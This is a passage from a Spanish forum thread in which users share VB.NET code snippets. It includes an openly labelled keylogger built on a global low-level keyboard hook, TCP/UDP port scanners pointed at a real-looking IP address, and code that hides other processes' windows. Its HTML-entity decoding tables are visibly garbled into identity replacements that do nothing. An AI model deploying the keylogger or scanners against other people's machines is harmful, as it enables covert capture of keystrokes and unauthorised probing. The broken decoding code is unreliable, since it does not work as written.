str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Convierte un string a entidades html codificadas: #Region " String To Html Escaped Entities " ' [ String To Html Escaped Entities Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109; Public Function String_To_Html_Escaped_Entities(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length * 6) For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next Return sb.ToString() End Function #End Region
Decodifica un string que contenga entidades HTML #Region " Html Entities To String " ' [ Html Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com Private Function Html_Entities_To_String(ByVal str As String) As String str = str.Replace(""", ControlChars.Quote) str = str.Replace("&", "&") str = str.Replace(" ", "") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("Â", "") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Decodifica un string codificado en HTML Escaped Entities #Region " Html Escaped Entities To String " ' [ Html Escaped Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Escaped_Entities_To_String("&#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;")) ' Result: Me@Gmail.com Public Function Html_Escaped_Entities_To_String(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length) str = str.Replace("&#", "") Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try Return sb.ToString() End Function #End Region
Comprueba si un numero es multiplo de otro #Region " Number Is Multiple? " ' [ Number Is Multiple? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean Return (Number Mod Multiple = 0) End Function #End Region
Comprueba si un numero es divisible por otro #Region " Number Is Divisible? " ' [ Number Is Divisible? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean Return (Number Mod Divisible = 0) End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 08:21 am
Usar Google Translate sin comprar la API de pago xD #Region " Google Translate " ' [ Google Translate Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es)) ' Result: Hola mundo ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde Public Enum GoogleTranslate_Languages auto ' Detectar idioma af ' afrikáans ar ' árabe az ' azerí be ' bielorruso bg ' búlgaro bn ' bengalí; bangla bs ' bosnio ca ' catalán ceb ' cebuano cs ' checo cy ' galés da ' danés de ' alemán el ' griego en ' inglés eo ' esperanto es ' español et ' estonio eu ' euskera fa ' persa fi ' finlandés fr ' francés ga ' irlandés gl ' gallego gu ' gujarati hi ' hindi hmn ' Hmong hr ' croata ht ' criollo haitiano hu ' húngaro hy ' armenio id ' indonesio it ' italiano iw ' hebreo ja ' japonés jw ' javanés ka ' georgiano km ' Jemer kn ' canarés ko ' coreano la ' latín lo ' lao lt ' lituano lv ' letón mk ' macedonio mr ' maratí ms ' malayo mt ' maltés nl ' holandés no ' noruego pl ' polaco pt ' portugués ro ' rumano ru ' ruso sk ' eslovaco sl ' esloveno sq ' albanés sr ' serbio sv ' sueco sw ' suajili ta ' tamil te ' telugu th ' tailandés tl ' tagalo tr ' turco uk ' ucraniano ur ' urdu vi ' vietnamita yi ' yidis zh_CN ' chino End Enum Public Function Google_Translate(ByVal Input As String, _ ByVal From_Language As GoogleTranslate_Languages, _ ByVal To_Language As GoogleTranslate_Languages) As String Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim webClient As New System.Net.WebClient Dim str = webClient.DownloadString( _ "http://translate.google.com/translate_a/t?client=t&text=" & Input & _ "&sl=" & Formatted_From_Language & _ "&tl=" & Formatted_To_Language & "") Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First) End Function #End Region
Extra:-> [BATCH] GTC (Google Translate Console) (http://foro.elhacker.net/buscador-t358970.0.html)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 15:56 pm
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger. La idea la tuve de un code que vi de Kub0x Esta es la parte que me he currado yo: #Region " KeyLogger " Public WithEvents KeysHook As New KeyboardHook Dim Auto_Backspace_Key As Boolean = True Dim Auto_Enter_Key As Boolean = True Dim Auto_Tab_Key As Boolean = True Dim No_F_Keys As Boolean = False Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown Select Case Control.ModifierKeys Case 393216 ' Alt-GR + Key Select Case Key Case Keys.D1 : Key_Listener("|") Case Keys.D2 : Key_Listener("@") Case Keys.D3 : Key_Listener("#") Case Keys.D4 : Key_Listener("~") Case Keys.D5 : Key_Listener("€") Case Keys.D6 : Key_Listener("¬") Case Keys.E : Key_Listener("€") Case Keys.Oem1 : Key_Listener("[") Case Keys.Oem5 : Key_Listener("\") Case Keys.Oem7 : Key_Listener("{") Case Keys.Oemplus : Key_Listener("]") Case Keys.OemQuestion : Key_Listener("}") Case Else : Key_Listener("") End Select Case 65536 ' LShift/RShift + Key Select Case Key Case Keys.D0 : Key_Listener("=") Case Keys.D1 : Key_Listener("!") Case Keys.D2 : Key_Listener("""") Case Keys.D3 : Key_Listener("·") Case Keys.D4 : Key_Listener("$") Case Keys.D5 : Key_Listener("%") Case Keys.D6 : Key_Listener("&") Case Keys.D7 : Key_Listener("/") Case Keys.D8 : Key_Listener("(") Case Keys.D9 : Key_Listener(")") Case Keys.Oem1 : Key_Listener("^") Case Keys.Oem5 : Key_Listener("ª") Case Keys.Oem6 : Key_Listener("¿") Case Keys.Oem7 : Key_Listener("¨") Case Keys.OemBackslash : Key_Listener(">") Case Keys.Oemcomma : Key_Listener(";") Case Keys.OemMinus : Key_Listener("_") Case Keys.OemOpenBrackets : Key_Listener("?") Case Keys.OemPeriod : Key_Listener(":") Case Keys.Oemplus : Key_Listener("*") Case Keys.OemQuestion : Key_Listener("Ç") Case Keys.Oemtilde : Key_Listener("Ñ") Case Else : Key_Listener("") End Select Case Else If Key.ToString.Length = 1 Then ' Single alpha key If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then Key_Listener(Key.ToString.ToUpper) Else Key_Listener(Key.ToString.ToLower) End If Else Select Case Key ' Single special key Case Keys.Add : Key_Listener("+") Case Keys.Back : Key_Listener("{BackSpace}") Case Keys.D0 : Key_Listener("0") Case Keys.D1 : Key_Listener("1") Case Keys.D2 : Key_Listener("2") Case Keys.D3 : Key_Listener("3") Case Keys.D4 : Key_Listener("4") Case Keys.D5 : Key_Listener("5") Case Keys.D6 : Key_Listener("6") Case Keys.D7 : Key_Listener("7") Case Keys.D8 : Key_Listener("8") Case Keys.D9 : Key_Listener("9") Case Keys.Decimal : Key_Listener(".") Case Keys.Delete : Key_Listener("{Supr}") Case Keys.Divide : Key_Listener("/") Case Keys.End : Key_Listener("{End}") Case Keys.Enter : Key_Listener("{Enter}") Case Keys.F1 : Key_Listener("{F1}") Case Keys.F10 : Key_Listener("{F10}") Case Keys.F11 : Key_Listener("{F11}") Case Keys.F12 : Key_Listener("{F12}") Case Keys.F2 : Key_Listener("{F2}") Case Keys.F3 : Key_Listener("{F3}") Case Keys.F4 : Key_Listener("{F4}") Case Keys.F5 : Key_Listener("{F5}") Case Keys.F6 : Key_Listener("{F6}") Case Keys.F7 : Key_Listener("{F7}") Case Keys.F8 : Key_Listener("{F8}") Case Keys.F9 : Key_Listener("{F9}") Case Keys.Home : Key_Listener("{Home}") Case Keys.Insert : Key_Listener("{Insert}") Case Keys.Multiply : Key_Listener("*") Case Keys.NumPad0 : Key_Listener("0") Case Keys.NumPad1 : Key_Listener("1") Case Keys.NumPad2 : Key_Listener("2") Case Keys.NumPad3 : Key_Listener("3") Case Keys.NumPad4 : Key_Listener("4") Case Keys.NumPad5 : Key_Listener("5") Case Keys.NumPad6 : Key_Listener("6") Case Keys.NumPad7 : Key_Listener("7") Case Keys.NumPad8 : Key_Listener("8") Case Keys.NumPad9 : Key_Listener("9") Case Keys.Oem1 : Key_Listener("`") Case Keys.Oem5 : Key_Listener("º") Case Keys.Oem6 : Key_Listener("¡") Case Keys.Oem7 : Key_Listener("´") Case Keys.OemBackslash : Key_Listener("<") Case Keys.Oemcomma : Key_Listener(",") Case Keys.OemMinus : Key_Listener(".") Case Keys.OemOpenBrackets : Key_Listener("'") Case Keys.OemPeriod : Key_Listener("-") Case Keys.Oemplus : Key_Listener("+") Case Keys.OemQuestion : Key_Listener("ç") Case Keys.Oemtilde : Key_Listener("ñ") Case Keys.PageDown : Key_Listener("{AvPag}") Case Keys.PageUp : Key_Listener("{RePag}") Case Keys.Space : Key_Listener(" ") Case Keys.Subtract : Key_Listener("-") Case Keys.Tab : Key_Listener("{Tabulation}") Case Else : Key_Listener("") End Select End If End Select End Sub Public Sub Key_Listener(ByVal key As String) If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1) ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line RichTextBox1.Text += ControlChars.NewLine ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation RichTextBox1.Text += ControlChars.Tab ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys Else ' Print the character RichTextBox1.Text += key End If End Sub #End Region
Y esta es la class del Hook: Imports System.Runtime.InteropServices Public Class KeyboardHook <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean End Function <StructLayout(LayoutKind.Sequential)> _ Private Structure KBDLLHOOKSTRUCT Public vkCode As UInt32 Public scanCode As UInt32 Public flags As KBDLLHOOKSTRUCTFlags Public time As UInt32 Public dwExtraInfo As UIntPtr End Structure <Flags()> _ Private Enum KBDLLHOOKSTRUCTFlags As UInt32 LLKHF_EXTENDED = &H1 LLKHF_INJECTED = &H10 LLKHF_ALTDOWN = &H20 LLKHF_UP = &H80 End Enum Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys) Private Const WH_KEYBOARD_LL As Integer = 13 Private Const HC_ACTION As Integer = 0 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105 Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc) Private HHookID As IntPtr = IntPtr.Zero Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer If (nCode = HC_ACTION) Then Dim struct As KBDLLHOOKSTRUCT Select Case wParam Case WM_KEYDOWN, WM_SYSKEYDOWN RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) End Select End If Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam) End Function Public Sub New() HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) If HHookID = IntPtr.Zero Then Throw New Exception("Could not set keyboard hook") End If End Sub Protected Overrides Sub Finalize() If Not HHookID = IntPtr.Zero Then UnhookWindowsHookEx(HHookID) End If MyBase.Finalize() End Sub End Class
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 2 Junio 2013, 16:47 pm
Elektro pone al principio del ultimo snippet ublic, en vez de Public. :laugh:
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 17:15 pm
Elektro pone al principio del ultimo snippet ublic, en vez de Public. :laugh: Corregido, gracias. ¿Alguna imperfección más? xD Salu2!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 2 Junio 2013, 17:38 pm
Creo que no. xD
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2013, 17:53 pm
LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX: Escanear un puerto abierto #Region " Port Scan " ' [ Port Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Port_Scan("84.126.113.10", 80)) ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp)) Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean Dim Open As Boolean Try Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) Open = socket.Connected socket.Disconnect(False) Return Open Catch ex As Exception MsgBox(ex.Message) ' Return False End Try End Function #End Region
Escanear un rango de puertos #Region " Port Range Scan " ' [ Port Range Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _ ) As List(Of String) Dim Open_Ports_List As New List(Of String) Try For Port As Int32 = Port_Start To Port_End Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) If socket.Connected Then Open_Ports_List.Add(Port) socket.Disconnect(False) Next Port Return Open_Ports_List Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Junio 2013, 13:43 pm
Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm: (Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.) Public Class Panel_Without_Flickering Inherits Panel Public Sub New() Me.DoubleBuffered = False Me.ResumeLayout(False) End Sub ' Caution: ' This turns off any Flicker effect ' ...but also reduces the performance (speed) of the control about 30% slower. ' This don't affect to the performance of the application, only to the performance of this control. Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = cp.ExStyle Or &H2000000 Return cp End Get End Property End Class
Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla... Public Class MyControl ' Name of this control. Inherits PictureBox ' Name of the inherited control. #Region " New " Public Sub New() Me.DoubleBuffered = True Me.SetStyle(ControlStyles.ResizeRedraw, False) Me.Name = "MyControl" 'Me.Text = "Text" 'Me.Size = New Point(60, 60) End Sub #End Region #Region " Properties " Private _Description As String = String.Empty ''' <summary> ''' Add a description for this control. ''' </summary> Public Property Description() As String Get Return _Description End Get Set(ByVal Value As String) Me._Description = Value End Set End Property #End Region #Region " Event handlers " ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click ' Me.ForeColor = Color.White ' Me.BackColor = Color.CadetBlue ' End Sub ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs) ' MyBase.OnPaint(pEvent) ' If Me.Checked Then ' pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12)) ' End If ' End Sub #End Region #Region " Methods / Functions " ''' <summary> ''' Show the autor of this control. ''' </summary> Public Sub About() MsgBox("Elektro H@cker") End Sub #End Region End Class
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Junio 2013, 20:41 pm
Taskbar Hide-Show Oculta o desoculta la barra de tareas de Windows. #Region " Taskbar Hide-Show " ' [ Taskbar Hide-Show] ' ' Examples : ' ' Taskbar.Hide() ' Taskbar.Show() #End Region ' Taskbar.vb #Region " Taskbar Class " ''' <summary> ''' Helper class for hiding/showing the taskbar and startmenu on ''' Windows XP and Vista. ''' </summary> Public Class Taskbar <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer End Function <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean End Function <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _ Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _ Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger End Function Private Const SW_HIDE As Integer = 0 Private Const SW_SHOW As Integer = 5 Private Const VistaStartMenuCaption As String = "Start" Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean ''' <summary> ''' Show the taskbar. ''' </summary> Public Shared Sub Show() SetVisibility(True) End Sub ''' <summary> ''' Hide the taskbar. ''' </summary> Public Shared Sub Hide() SetVisibility(False) End Sub ''' <summary> ''' Sets the visibility of the taskbar. ''' </summary> Private Shared WriteOnly Property Visible() As Boolean Set(value As Boolean) SetVisibility(value) End Set End Property ''' <summary> ''' Hide or show the Windows taskbar and startmenu. ''' </summary> ''' <param name="show">true to show, false to hide</param> Private Shared Sub SetVisibility(show As Boolean) ' get taskbar window Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing) ' Try the Windows XP TaskBar: Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start") If startWnd = IntPtr.Zero Then ' Try an alternate way of Windows XP TaskBar: startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start") End If If startWnd = IntPtr.Zero Then ' Try the Windows Vista/7 TaskBar: startWnd = FindWindow("Button", Nothing) If startWnd = IntPtr.Zero Then ' Try an alternate way of Windows Vista/7 TaskBar: startWnd = GetVistaStartMenuWnd(taskBarWnd) End If End If ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE)) ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE)) End Sub ''' <summary> ''' Returns the window handle of the Vista start menu orb. ''' </summary> ''' <param name="taskBarWnd">windo handle of taskbar</param> ''' <returns>window handle of start menu</returns> Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr ' get process that owns the taskbar window Dim procId As Integer GetWindowThreadProcessId(taskBarWnd, procId) Dim p As Process = Process.GetProcessById(procId) If p IsNot Nothing Then ' enumerate all threads of that process... For Each t As ProcessThread In p.Threads EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero) Next End If Return vistaStartMenuWnd End Function ''' <summary> ''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'. ''' </summary> ''' <param name="hWnd">window handle</param> ''' <param name="lParam">parameter</param> ''' <returns>true to continue enumeration, false to stop it</returns> Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean Dim buffer As New System.Text.StringBuilder(256) If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then Console.WriteLine(buffer) If buffer.ToString() = VistaStartMenuCaption Then vistaStartMenuWnd = hWnd Return False End If End If Return True End Function End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Junio 2013, 17:05 pm
Recorre todos los controles de "X" tipo en un container. #Region " Disable Controls " ' [ Disable Controls ] ' ' // By Elektro H@cker ' ' Examples: ' ' Disable_Controls(Of CheckBox)(Me.Controls, False) ' Disable_Controls(Of Button)(GroupBox1.Controls, False) Public Sub Disable_Controls(Of T As Control)(ByVal Container As Object, ByVal Enabled As Boolean) For Each control As T In Container : control.Enabled = Enabled : Next End Sub #End Region
Pequeño ejemplo de como saber el tipo de objeto: MsgBox(TypeName(Me)) ' Result: Form1 MsgBox(TypeName(Me.Text)) ' Result: String MsgBox(TypeName(Panel1)) ' Result: Panel
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Junio 2013, 17:38 pm
Hide-Restore Process Para ocultar o reestablecer la visibilidad de un proceso, Esto solo oculta la ventana del proceso, no lo oculta del administrador de tareas, la función "Restore" no está muy pulida, para perfeccionarlo habría que guardar cada handle de los procesos escondidos en un tipo de diccionario si se quiere usar con más de un proceso simultáneamente, ya que cuando ocultas una ventana, el handle se vuelve "0".EDITO: Código mejorado: #Region " Hide-Restore Process " ' [ Hide-Restore Process Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' Hide_Process(Process.GetCurrentProcess().MainModule.ModuleName, False) ' Hide_Process("notepad.exe", False) ' Hide_Process("notepad", True) ' ' Restore_Process(Process.GetCurrentProcess().MainModule.ModuleName, False) ' Restore_Process("notepad.exe", False) ' Restore_Process("notepad", True) Dim Process_Handle_Dictionary As New Dictionary(Of String, IntPtr ) <System.Runtime.InteropServices.DllImport("User32")> Private Shared Function ShowWindow(ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32 End Function Private Sub Hide_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False) If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4) Dim proc() As Process = Process.GetProcessesByName(Process_Name) If Recursive Then For proc_num As Integer = 0 To proc.Length - 1 Try Process_Handle_Dictionary.Add(Process_Name & ";" & proc(proc_num).Handle.ToString, proc(proc_num).MainWindowHandle) ShowWindow(proc(proc_num).MainWindowHandle, 0) Catch ex As Exception ' MsgBox(ex.Message) ' The handle already exist in the Dictionary End Try Application.DoEvents() Next Else If Not proc.Length = 0 AndAlso Not proc(0).MainWindowHandle = 0 Then Process_Handle_Dictionary.Add(Process_Name & ";" & proc(0).Handle.ToString, proc(0).MainWindowHandle) ShowWindow(proc(0).MainWindowHandle, 0) End If End If End Sub Private Sub Restore_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False) If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4) Dim Temp_Dictionary As New Dictionary(Of String, IntPtr ) ' Replic of the "Process_Handle_Dictionary" dictionary For Each Process In Process_Handle_Dictionary : Temp_Dictionary.Add(Process.Key, Process.Value) : Next If Recursive Then For Each Process In Temp_Dictionary If Process.Key.ToLower.Contains(Process_Name.ToLower) Then ShowWindow(Process.Value, 9) Process_Handle_Dictionary.Remove(Process.Key) End If Application.DoEvents() Next Else For Each Process In Temp_Dictionary If Process.Key.ToLower.Contains(Process_Name.ToLower) Then ShowWindow(Process.Value, 9) Process_Handle_Dictionary.Remove(Process.Key) Exit For End If Application.DoEvents() Next End If End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Junio 2013, 02:19 am
Un panel extendido con varias propiedades nuevas e interesantes... ' ' /* *\ ' |#* Panel Elektro *#| ' \* */ ' ' // By Elektro H@cker ' ' Properties: ' ........... ' · Disable_Flickering ' · Double_Buffer ' · Opaccity ' · Scroll_Loop Public Class Panel_Elektro Inherits Panel Private _Opaccity As Int16 = 100 Private _Diable_Flickering As Boolean = True Private _Scroll_Loop As Boolean = False Dim Scroll_Range As Int64 = 0 Public Sub New() Me.Name = "Panel_Elektro" ' Me.AutoScroll = True ' ResumeLayout(False) End Sub #Region " Properties " ''' <summary> ''' Enable/Disable any flickering effect on the panel. ''' </summary> Protected Overrides ReadOnly Property CreateParams() As CreateParams Get If _Diable_Flickering Then Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = cp.ExStyle Or &H2000000 Return cp Else Return MyBase.CreateParams End If End Get End Property ''' <summary> ''' Set the Double Buffer. ''' </summary> Public 